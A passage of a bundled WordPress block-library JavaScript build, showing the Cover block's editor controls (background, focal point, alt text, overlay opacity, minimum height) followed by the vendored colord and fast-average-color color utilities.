12950 {
12951 label: (0,external_wp_i18n_namespaceObject.__)("Fixed background"),
12952 isShownByDefault: true,
12953 hasValue: () => !!hasParallax,
12954 onDeselect: () => setAttributes({
12955 hasParallax: false,
12956 focalPoint: void 0
12957 }),
12958 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12959 external_wp_components_namespaceObject.ToggleControl,
12960 {
12961 __nextHasNoMarginBottom: true,
12962 label: (0,external_wp_i18n_namespaceObject.__)("Fixed background"),
12963 checked: !!hasParallax,
12964 onChange: toggleParallax
12965 }
12966 )
12967 }
12968 ),
12969 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12970 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
12971 {
12972 label: (0,external_wp_i18n_namespaceObject.__)("Repeated background"),
12973 isShownByDefault: true,
12974 hasValue: () => isRepeated,
12975 onDeselect: () => setAttributes({
12976 isRepeated: false
12977 }),
12978 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12979 external_wp_components_namespaceObject.ToggleControl,
12980 {
12981 __nextHasNoMarginBottom: true,
12982 label: (0,external_wp_i18n_namespaceObject.__)("Repeated background"),
12983 checked: isRepeated,
12984 onChange: toggleIsRepeated
12985 }
12986 )
12987 }
12988 )
12989 ] }),
12990 showFocalPointPicker && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12991 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
12992 {
12993 label: (0,external_wp_i18n_namespaceObject.__)("Focal point"),
12994 isShownByDefault: true,
12995 hasValue: () => !!focalPoint,
12996 onDeselect: () => setAttributes({
12997 focalPoint: void 0
12998 }),
12999 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13000 external_wp_components_namespaceObject.FocalPointPicker,
13001 {
13002 __nextHasNoMarginBottom: true,
13003 label: (0,external_wp_i18n_namespaceObject.__)("Focal point"),
13004 url,
13005 value: focalPoint,
13006 onDragStart: imperativeFocalPointPreview,
13007 onDrag: imperativeFocalPointPreview,
13008 onChange: (newFocalPoint) => setAttributes({
13009 focalPoint: newFocalPoint
13010 })
13011 }
13012 )
13013 }
13014 ),
13015 isVideoBackground && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13016 poster_image_default,
13017 {
13018 poster,
13019 onChange: (posterImage) => setAttributes({
13020 poster: posterImage?.url
13021 })
13022 }
13023 ),
13024 !useFeaturedImage && url && !isVideoBackground && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13025 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
13026 {
13027 label: (0,external_wp_i18n_namespaceObject.__)("Alternative text"),
13028 isShownByDefault: true,
13029 hasValue: () => !!alt,
13030 onDeselect: () => setAttributes({ alt: "" }),
13031 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13032 external_wp_components_namespaceObject.TextareaControl,
13033 {
13034 __nextHasNoMarginBottom: true,
13035 label: (0,external_wp_i18n_namespaceObject.__)("Alternative text"),
13036 value: alt,
13037 onChange: (newAlt) => setAttributes({ alt: newAlt }),
13038 help: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
13039 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13040 external_wp_components_namespaceObject.ExternalLink,
13041 {
13042 href: (
13043 // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
13044 (0,external_wp_i18n_namespaceObject.__)(
13045 "https://www.w3.org/WAI/tutorials/images/decision-tree/"
13046 )
13047 ),
13048 children: (0,external_wp_i18n_namespaceObject.__)(
13049 "Describe the purpose of the image."
13050 )
13051 }
13052 ),
13053 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
13054 (0,external_wp_i18n_namespaceObject.__)(
13055 "Leave empty if decorative."
13056 )
13057 ] })
13058 }
13059 )
13060 }
13061 ),
13062 !!imageSizeOptions?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13063 ResolutionTool,
13064 {
13065 value: sizeSlug,
13066 onChange: updateImage,
13067 options: imageSizeOptions,
13068 defaultValue: DEFAULT_MEDIA_SIZE_SLUG
13069 }
13070 )
13071 ]
13072 }
13073 ) }),
13074 colorGradientSettings.hasColorsOrGradients && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "color", children: [
13075 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13076 external_wp_blockEditor_namespaceObject.__experimentalColorGradientSettingsDropdown,
13077 {
13078 __experimentalIsRenderedInSidebar: true,
13079 settings: [
13080 {
13081 colorValue: overlayColor.color,
13082 gradientValue,
13083 label: (0,external_wp_i18n_namespaceObject.__)("Overlay"),
13084 onColorChange: setOverlayColor,
13085 onGradientChange: setGradient,
13086 isShownByDefault: true,
13087 resetAllFilter: () => ({
13088 overlayColor: void 0,
13089 customOverlayColor: void 0,
13090 gradient: void 0,
13091 customGradient: void 0
13092 }),
13093 clearable: true
13094 }
13095 ],
13096 panelId: clientId,
13097 ...colorGradientSettings
13098 }
13099 ),
13100 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13101 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
13102 {
13103 hasValue: () => {
13104 return dimRatio === void 0 ? false : dimRatio !== (url ? 50 : 100);
13105 },
13106 label: (0,external_wp_i18n_namespaceObject.__)("Overlay opacity"),
13107 onDeselect: () => updateDimRatio(url ? 50 : 100),
13108 resetAllFilter: () => ({
13109 dimRatio: url ? 50 : 100
13110 }),
13111 isShownByDefault: true,
13112 panelId: clientId,
13113 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13114 external_wp_components_namespaceObject.RangeControl,
13115 {
13116 __nextHasNoMarginBottom: true,
13117 label: (0,external_wp_i18n_namespaceObject.__)("Overlay opacity"),
13118 value: dimRatio,
13119 onChange: (newDimRatio) => updateDimRatio(newDimRatio),
13120 min: 0,
13121 max: 100,
13122 step: 10,
13123 required: true,
13124 __next40pxDefaultSize: true
13125 }
13126 )
13127 }
13128 )
13129 ] }),
13130 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "dimensions", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13131 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
13132 {
13133 className: "single-column",
13134 hasValue: () => !!minHeight,
13135 label: (0,external_wp_i18n_namespaceObject.__)("Minimum height"),
13136 onDeselect: () => setAttributes({
13137 minHeight: void 0,
13138 minHeightUnit: void 0
13139 }),
13140 resetAllFilter: () => ({
13141 minHeight: void 0,
13142 minHeightUnit: void 0
13143 }),
13144 isShownByDefault: true,
13145 panelId: clientId,
13146 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13147 CoverHeightInput,
13148 {
13149 value: attributes?.style?.dimensions?.aspectRatio ? "" : minHeight,
13150 unit: minHeightUnit,
13151 onChange: (newMinHeight) => setAttributes({
13152 minHeight: newMinHeight,
13153 style: inspector_controls_cleanEmptyObject({
13154 ...attributes?.style,
13155 dimensions: {
13156 ...attributes?.style?.dimensions,
13157 aspectRatio: void 0
13158 // Reset aspect ratio when minHeight is set.
13159 }
13160 })
13161 }),
13162 onUnitChange: (nextUnit) => setAttributes({
13163 minHeightUnit: nextUnit
13164 })
13165 }
13166 )
13167 }
13168 ) }),
13169 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13170 inspector_controls_HTMLElementControl,
13171 {
13172 tagName,
13173 onChange: (value) => setAttributes({ tagName: value }),
13174 clientId,
13175 options: [
13176 { label: (0,external_wp_i18n_namespaceObject.__)("Default (<div>)"), value: "div" },
13177 { label: "<header>", value: "header" },
13178 { label: "<main>", value: "main" },
13179 { label: "<section>", value: "section" },
13180 { label: "<article>", value: "article" },
13181 { label: "<aside>", value: "aside" },
13182 { label: "<footer>", value: "footer" }
13183 ]
13184 }
13185 ) })
13186 ] });
13187}
13188
13189
13190;// ./node_modules/@wordpress/block-library/build-module/cover/edit/block-controls.js
13191
13192
13193
13194
13195
13196
13197const { cleanEmptyObject: block_controls_cleanEmptyObject } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
13198function CoverBlockControls({
13199 attributes,
13200 setAttributes,
13201 onSelectMedia,
13202 currentSettings,
13203 toggleUseFeaturedImage,
13204 onClearMedia,
13205 blockEditingMode
13206}) {
13207 const { contentPosition, id, useFeaturedImage, minHeight, minHeightUnit } = attributes;
13208 const { hasInnerBlocks, url } = currentSettings;
13209 const [prevMinHeightValue, setPrevMinHeightValue] = (0,external_wp_element_namespaceObject.useState)(minHeight);
13210 const [prevMinHeightUnit, setPrevMinHeightUnit] = (0,external_wp_element_namespaceObject.useState)(minHeightUnit);
13211 const isMinFullHeight = minHeightUnit === "vh" && minHeight === 100 && !attributes?.style?.dimensions?.aspectRatio;
13212 const isContentOnlyMode = blockEditingMode === "contentOnly";
13213 const toggleMinFullHeight = () => {
13214 if (isMinFullHeight) {
13215 if (prevMinHeightUnit === "vh" && prevMinHeightValue === 100) {
13216 return setAttributes({
13217 minHeight: void 0,
13218 minHeightUnit: void 0
13219 });
13220 }
13221 return setAttributes({
13222 minHeight: prevMinHeightValue,
13223 minHeightUnit: prevMinHeightUnit
13224 });
13225 }
13226 setPrevMinHeightValue(minHeight);
13227 setPrevMinHeightUnit(minHeightUnit);
13228 return setAttributes({
13229 minHeight: 100,
13230 minHeightUnit: "vh",
13231 style: block_controls_cleanEmptyObject({
13232 ...attributes?.style,
13233 dimensions: {
13234 ...attributes?.style?.dimensions,
13235 aspectRatio: void 0
13236 // Reset aspect ratio when minHeight is set.
13237 }
13238 })
13239 });
13240 };
13241 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
13242 !isContentOnlyMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
13243 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13244 external_wp_blockEditor_namespaceObject.__experimentalBlockAlignmentMatrixControl,
13245 {
13246 label: (0,external_wp_i18n_namespaceObject.__)("Change content position"),
13247 value: contentPosition,
13248 onChange: (nextPosition) => setAttributes({
13249 contentPosition: nextPosition
13250 }),
13251 isDisabled: !hasInnerBlocks
13252 }
13253 ),
13254 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13255 external_wp_blockEditor_namespaceObject.__experimentalBlockFullHeightAligmentControl,
13256 {
13257 isActive: isMinFullHeight,
13258 onToggle: toggleMinFullHeight,
13259 isDisabled: !hasInnerBlocks
13260 }
13261 )
13262 ] }),
13263 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13264 external_wp_blockEditor_namespaceObject.MediaReplaceFlow,
13265 {
13266 mediaId: id,
13267 mediaURL: url,
13268 allowedTypes: shared_ALLOWED_MEDIA_TYPES,
13269 accept: "image/*,video/*",
13270 onSelect: onSelectMedia,
13271 onToggleFeaturedImage: toggleUseFeaturedImage,
13272 useFeaturedImage,
13273 name: !url ? (0,external_wp_i18n_namespaceObject.__)("Add media") : (0,external_wp_i18n_namespaceObject.__)("Replace"),
13274 onReset: onClearMedia
13275 }
13276 ) })
13277 ] });
13278}
13279
13280
13281;// ./node_modules/@wordpress/block-library/build-module/cover/edit/cover-placeholder.js
13282
13283
13284
13285
13286
13287function CoverPlaceholder({
13288 disableMediaButtons = false,
13289 children,
13290 onSelectMedia,
13291 onError,
13292 style,
13293 toggleUseFeaturedImage
13294}) {
13295 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13296 external_wp_blockEditor_namespaceObject.MediaPlaceholder,
13297 {
13298 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: cover_default }),
13299 labels: {
13300 title: (0,external_wp_i18n_namespaceObject.__)("Cover")
13301 },
13302 onSelect: onSelectMedia,
13303 accept: "image/*,video/*",
13304 allowedTypes: shared_ALLOWED_MEDIA_TYPES,
13305 disableMediaButtons,
13306 onToggleFeaturedImage: toggleUseFeaturedImage,
13307 onError,
13308 style,
13309 children
13310 }
13311 );
13312}
13313
13314
13315;// ./node_modules/@wordpress/block-library/build-module/cover/edit/resizable-cover-popover.js
13316
13317
13318
13319
13320
13321const RESIZABLE_BOX_ENABLE_OPTION = {
13322 top: false,
13323 right: false,
13324 bottom: true,
13325 left: false,
13326 topRight: false,
13327 bottomRight: false,
13328 bottomLeft: false,
13329 topLeft: false
13330};
13331const { ResizableBoxPopover } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
13332function ResizableCoverPopover({
13333 className,
13334 height,
13335 minHeight,
13336 onResize,
13337 onResizeStart,
13338 onResizeStop,
13339 showHandle,
13340 size,
13341 width,
13342 ...props
13343}) {
13344 const [isResizing, setIsResizing] = (0,external_wp_element_namespaceObject.useState)(false);
13345 const resizableBoxProps = {
13346 className: dist_clsx(className, { "is-resizing": isResizing }),
13347 enable: RESIZABLE_BOX_ENABLE_OPTION,
13348 onResizeStart: (_event, _direction, elt) => {
13349 onResizeStart(elt.clientHeight);
13350 onResize(elt.clientHeight);
13351 },
13352 onResize: (_event, _direction, elt) => {
13353 onResize(elt.clientHeight);
13354 if (!isResizing) {
13355 setIsResizing(true);
13356 }
13357 },
13358 onResizeStop: (_event, _direction, elt) => {
13359 onResizeStop(elt.clientHeight);
13360 setIsResizing(false);
13361 },
13362 showHandle,
13363 size,
13364 __experimentalShowTooltip: true,
13365 __experimentalTooltipProps: {
13366 axis: "y",
13367 position: "bottom",
13368 isVisible: isResizing
13369 }
13370 };
13371 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13372 ResizableBoxPopover,
13373 {
13374 className: "block-library-cover__resizable-box-popover",
13375 resizableBoxProps,
13376 ...props
13377 }
13378 );
13379}
13380
13381
13382;// ./node_modules/colord/index.mjs
13383var colord_r={grad:.9,turn:360,rad:360/(2*Math.PI)},t=function(r){return"string"==typeof r?r.length>0:"number"==typeof r},n=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*r)/n+0},e=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),r>n?n:r>t?r:t},u=function(r){return(r=isFinite(r)?r%360:0)>0?r:r+360},a=function(r){return{r:e(r.r,0,255),g:e(r.g,0,255),b:e(r.b,0,255),a:e(r.a)}},o=function(r){return{r:n(r.r),g:n(r.g),b:n(r.b),a:n(r.a,3)}},i=/^#([0-9a-f]{3,8})$/i,s=function(r){var t=r.toString(16);return t.length<2?"0"+t:t},h=function(r){var t=r.r,n=r.g,e=r.b,u=r.a,a=Math.max(t,n,e),o=a-Math.min(t,n,e),i=o?a===t?(n-e)/o:a===n?2+(e-t)/o:4+(t-n)/o:0;return{h:60*(i<0?i+6:i),s:a?o/a*100:0,v:a/255*100,a:u}},b=function(r){var t=r.h,n=r.s,e=r.v,u=r.a;t=t/360*6,n/=100,e/=100;var a=Math.floor(t),o=e*(1-n),i=e*(1-(t-a)*n),s=e*(1-(1-t+a)*n),h=a%6;return{r:255*[e,i,o,o,s,e][h],g:255*[s,e,e,i,o,o][h],b:255*[o,o,s,e,e,i][h],a:u}},g=function(r){return{h:u(r.h),s:e(r.s,0,100),l:e(r.l,0,100),a:e(r.a)}},d=function(r){return{h:n(r.h),s:n(r.s),l:n(r.l),a:n(r.a,3)}},f=function(r){return b((n=(t=r).s,{h:t.h,s:(n*=((e=t.l)<50?e:100-e)/100)>0?2*n/(e+n)*100:0,v:e+n,a:t.a}));var t,n,e},c=function(r){return{h:(t=h(r)).h,s:(u=(200-(n=t.s))*(e=t.v)/100)>0&&u<200?n*e/100/(u<=100?u:200-u)*100:0,l:u/2,a:t.a};var t,n,e,u},l=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,p=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,v=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,m=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,y={string:[[function(r){var t=i.exec(r);return t?(r=t[1]).length<=4?{r:parseInt(r[0]+r[0],16),g:parseInt(r[1]+r[1],16),b:parseInt(r[2]+r[2],16),a:4===r.length?n(parseInt(r[3]+r[3],16)/255,2):1}:6===r.length||8===r.length?{r:parseInt(r.substr(0,2),16),g:parseInt(r.substr(2,2),16),b:parseInt(r.substr(4,2),16),a:8===r.length?n(parseInt(r.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(r){var t=v.exec(r)||m.exec(r);return t?t[2]!==t[4]||t[4]!==t[6]?null:a({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(t){var n=l.exec(t)||p.exec(t);if(!n)return null;var e,u,a=g({h:(e=n[1],u=n[2],void 0===u&&(u="deg"),Number(e)*(colord_r[u]||1)),s:Number(n[3]),l:Number(n[4]),a:void 0===n[5]?1:Number(n[5])/(n[6]?100:1)});return f(a)},"hsl"]],object:[[function(r){var n=r.r,e=r.g,u=r.b,o=r.a,i=void 0===o?1:o;return t(n)&&t(e)&&t(u)?a({r:Number(n),g:Number(e),b:Number(u),a:Number(i)}):null},"rgb"],[function(r){var n=r.h,e=r.s,u=r.l,a=r.a,o=void 0===a?1:a;if(!t(n)||!t(e)||!t(u))return null;var i=g({h:Number(n),s:Number(e),l:Number(u),a:Number(o)});return f(i)},"hsl"],[function(r){var n=r.h,a=r.s,o=r.v,i=r.a,s=void 0===i?1:i;if(!t(n)||!t(a)||!t(o))return null;var h=function(r){return{h:u(r.h),s:e(r.s,0,100),v:e(r.v,0,100),a:e(r.a)}}({h:Number(n),s:Number(a),v:Number(o),a:Number(s)});return b(h)},"hsv"]]},N=function(r,t){for(var n=0;n<t.length;n++){var e=t[n][0](r);if(e)return[e,t[n][1]]}return[null,void 0]},x=function(r){return"string"==typeof r?N(r.trim(),y.string):"object"==typeof r&&null!==r?N(r,y.object):[null,void 0]},I=function(r){return x(r)[1]},M=function(r,t){var n=c(r);return{h:n.h,s:e(n.s+100*t,0,100),l:n.l,a:n.a}},H=function(r){return(299*r.r+587*r.g+114*r.b)/1e3/255},$=function(r,t){var n=c(r);return{h:n.h,s:n.s,l:e(n.l+100*t,0,100),a:n.a}},j=function(){function r(r){this.parsed=x(r)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return r.prototype.isValid=function(){return null!==this.parsed},r.prototype.brightness=function(){return n(H(this.rgba),2)},r.prototype.isDark=function(){return H(this.rgba)<.5},r.prototype.isLight=function(){return H(this.rgba)>=.5},r.prototype.toHex=function(){return r=o(this.rgba),t=r.r,e=r.g,u=r.b,i=(a=r.a)<1?s(n(255*a)):"","#"+s(t)+s(e)+s(u)+i;var r,t,e,u,a,i},r.prototype.toRgb=function(){return o(this.rgba)},r.prototype.toRgbString=function(){return r=o(this.rgba),t=r.r,n=r.g,e=r.b,(u=r.a)<1?"rgba("+t+", "+n+", "+e+", "+u+")":"rgb("+t+", "+n+", "+e+")";var r,t,n,e,u},r.prototype.toHsl=function(){return d(c(this.rgba))},r.prototype.toHslString=function(){return r=d(c(this.rgba)),t=r.h,n=r.s,e=r.l,(u=r.a)<1?"hsla("+t+", "+n+"%, "+e+"%, "+u+")":"hsl("+t+", "+n+"%, "+e+"%)";var r,t,n,e,u},r.prototype.toHsv=function(){return r=h(this.rgba),{h:n(r.h),s:n(r.s),v:n(r.v),a:n(r.a,3)};var r},r.prototype.invert=function(){return w({r:255-(r=this.rgba).r,g:255-r.g,b:255-r.b,a:r.a});var r},r.prototype.saturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,r))},r.prototype.desaturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,-r))},r.prototype.grayscale=function(){return w(M(this.rgba,-1))},r.prototype.lighten=function(r){return void 0===r&&(r=.1),w($(this.rgba,r))},r.prototype.darken=function(r){return void 0===r&&(r=.1),w($(this.rgba,-r))},r.prototype.rotate=function(r){return void 0===r&&(r=15),this.hue(this.hue()+r)},r.prototype.alpha=function(r){return"number"==typeof r?w({r:(t=this.rgba).r,g:t.g,b:t.b,a:r}):n(this.rgba.a,3);var t},r.prototype.hue=function(r){var t=c(this.rgba);return"number"==typeof r?w({h:r,s:t.s,l:t.l,a:t.a}):n(t.h)},r.prototype.isEqual=function(r){return this.toHex()===w(r).toHex()},r}(),w=function(r){return r instanceof j?r:new j(r)},S=[],k=function(r){r.forEach(function(r){S.indexOf(r)<0&&(r(j,y),S.push(r))})},E=function(){return new j({r:255*Math.random(),g:255*Math.random(),b:255*Math.random()})};
13384
13385;// ./node_modules/colord/plugins/names.mjs
13386/* harmony default export */ function names(e,f){var a={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},r={};for(var d in a)r[a[d]]=d;var l={};e.prototype.toName=function(f){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var d,i,n=r[this.toHex()];if(n)return n;if(null==f?void 0:f.closest){var o=this.toRgb(),t=1/0,b="black";if(!l.length)for(var c in a)l[c]=new e(a[c]).toRgb();for(var g in a){var u=(d=o,i=l[g],Math.pow(d.r-i.r,2)+Math.pow(d.g-i.g,2)+Math.pow(d.b-i.b,2));u<t&&(t=u,b=g)}return b}};f.string.push([function(f){var r=f.toLowerCase(),d="transparent"===r?"#0000":a[r];return d?new e(d).toRgb():null},"name"])}
13387
13388;// ./node_modules/fast-average-color/dist/index.esm.js
13389/*! Fast Average Color | © 2022 Denis Seleznev | MIT License | https://github.com/fast-average-color/fast-average-color */
13390function toHex(num) {
13391 var str = num.toString(16);
13392 return str.length === 1 ? '0' + str : str;
13393}
13394function arrayToHex(arr) {
13395 return '#' + arr.map(toHex).join('');
13396}
13397function isDark(color) {
13398 // http://www.w3.org/TR/AERT#color-contrast
13399 var result = (color[0] * 299 + color[1] * 587 + color[2] * 114) / 1000;
13400 return result < 128;
13401}
13402function prepareIgnoredColor(color) {
13403 if (!color) {
13404 return [];
13405 }
13406 return isRGBArray(color) ? color : [color];
13407}
13408function isRGBArray(value) {
13409 return Array.isArray(value[0]);
13410}
13411function isIgnoredColor(data, index, ignoredColor) {
13412 for (var i = 0; i < ignoredColor.length; i++) {
13413 if (isIgnoredColorAsNumbers(data, index, ignoredColor[i])) {
13414 return true;
13415 }
13416 }
13417 return false;
13418}
13419function isIgnoredColorAsNumbers(data, index, ignoredColor) {
13420 switch (ignoredColor.length) {
13421 case 3:
13422 // [red, green, blue]
13423 if (isIgnoredRGBColor(data, index, ignoredColor)) {
13424 return true;
13425 }
13426 break;
13427 case 4:
13428 // [red, green, blue, alpha]
13429 if (isIgnoredRGBAColor(data, index, ignoredColor)) {
13430 return true;
13431 }
13432 break;
13433 case 5:
13434 // [red, green, blue, alpha, threshold]
13435 if (isIgnoredRGBAColorWithThreshold(data, index, ignoredColor)) {
13436 return true;
13437 }
13438 break;
13439 default:
13440 return false;
13441 }
13442}
13443function isIgnoredRGBColor(data, index, ignoredColor) {
13444 // Ignore if the pixel are transparent.
13445 if (data[index + 3] !== 255) {
13446 return true;
13447 }
13448 if (data[index] === ignoredColor[0] &&
13449 data[index + 1] === ignoredColor[1] &&
13450 data[index + 2] === ignoredColor[2]) {
13451 return true;
13452 }
13453 return false;
13454}
13455function isIgnoredRGBAColor(data, index, ignoredColor) {
13456 if (data[index + 3] && ignoredColor[3]) {
13457 return data[index] === ignoredColor[0] &&
13458 data[index + 1] === ignoredColor[1] &&
13459 data[index + 2] === ignoredColor[2] &&
13460 data[index + 3] === ignoredColor[3];
13461 }
13462 // Ignore rgb components if the pixel are fully transparent.
13463 return data[index + 3] === ignoredColor[3];
13464}
13465function inRange(colorComponent, ignoredColorComponent, value) {
13466 return colorComponent >= (ignoredColorComponent - value) &&
13467 colorComponent <= (ignoredColorComponent + value);
13468}
13469function isIgnoredRGBAColorWithThreshold(data, index, ignoredColor) {
13470 var redIgnored = ignoredColor[0];
13471 var greenIgnored = ignoredColor[1];
13472 var blueIgnored = ignoredColor[2];
13473 var alphaIgnored = ignoredColor[3];
13474 var threshold = ignoredColor[4];
13475 var alphaData = data[index + 3];
13476 var alphaInRange = inRange(alphaData, alphaIgnored, threshold);
13477 if (!alphaIgnored) {
13478 return alphaInRange;
13479 }
13480 if (!alphaData && alphaInRange) {
13481 return true;
13482 }
